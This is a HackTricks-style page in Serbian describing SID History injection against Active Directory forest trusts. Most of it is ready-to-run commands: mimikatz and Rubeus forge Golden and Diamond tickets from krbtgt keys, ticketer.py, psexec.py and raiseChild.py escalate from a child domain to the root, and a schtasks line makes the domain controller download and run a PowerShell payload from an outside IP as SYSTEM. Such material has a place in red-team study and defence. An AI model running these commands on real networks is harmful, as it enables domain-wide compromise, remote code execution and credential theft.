SID-History Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Napad SID History Injection

Fokus napada SID History Injection je olakšavanje migracije korisnika između domena uz istovremeno održavanje pristupa resursima iz prethodnog domena. Ovo se postiže uključivanjem prethodnog Identifikatora Sigurnosti (SID) korisnika u SID History njihovog novog naloga. Važno je napomenuti da se ovaj proces može manipulisati kako bi se omogućio neovlašćeni pristup dodavanjem SID-a grupe sa visokim privilegijama (kao što su Enterprise Admins ili Domain Admins) iz matičnog domena u SID History. Ova eksploatacija omogućava pristup svim resursima unutar matičnog domena.

Postoje dva načina za izvršavanje ovog napada: putem kreiranja Golden Ticket-a ili Diamond Ticket-a.

Da biste pronašli SID grupe "Enterprise Admins", prvo morate pronaći SID korenskog domena. Nakon identifikacije, SID grupe Enterprise Admins se može konstruisati dodavanjem -519 na SID korenskog domena. Na primer, ako je SID korenskog domena S-1-5-21-280534878-1496970234-700767426, rezultirajući SID za grupu "Enterprise Admins" bi bio S-1-5-21-280534878-1496970234-700767426-519.

Takođe možete koristiti grupe Domain Admins, koje se završavaju sa 512.

Još jedan način za pronalaženje SID-a grupe iz drugog domena (na primer "Domain Admins") je:

Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid

Zlatna karta (Mimikatz) sa KRBTGT-AES256

mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain

Za više informacija o zlatnim kartama pogledajte:

pageGolden Ticket

Dijamantska karta (Rubeus + KRBTGT-AES256)

# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap

# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt

# You can use "Administrator" as username or any other string

Za više informacija o dijamantskim kartama pogledajte:

pageDiamond Ticket
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$

Povećajte privilegije na DA ili Enterprise admin koristeći KRBTGT heš kompromitovanog domena:

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"

Sa stečenim dozvolama iz napada možete izvršiti, na primer, DCSync napad u novom domenu:

pageDCSync

Sa linuxa

Ručno pomoću ticketer.py

# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10

Automatsko korišćenje pomoću raiseChild.py

Ovo je Impacket skripta koja će automatski izvršiti eskalaciju sa detetskog na roditeljski domen. Skripta zahteva:

  • Ciljni kontroler domena

  • Kredencijale za admin korisnika u detetovom domenu

Tok je sledeći:

  • Dobija SID za grupu Enterprise Admins u roditeljskom domenu

  • Preuzima heš za KRBTGT nalog u detetovom domenu

  • Kreira Golden Ticket

  • Prijavljuje se na roditeljski domen

  • Preuzima kredencijale za Administrator nalog u roditeljskom domenu

  • Ako je specificiran prekidač target-exec, autentifikuje se na kontroleru domena roditeljskog domena putem Psexec-a.

raiseChild.py -target-exec 10.10.10.10 <child_domain>/username

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated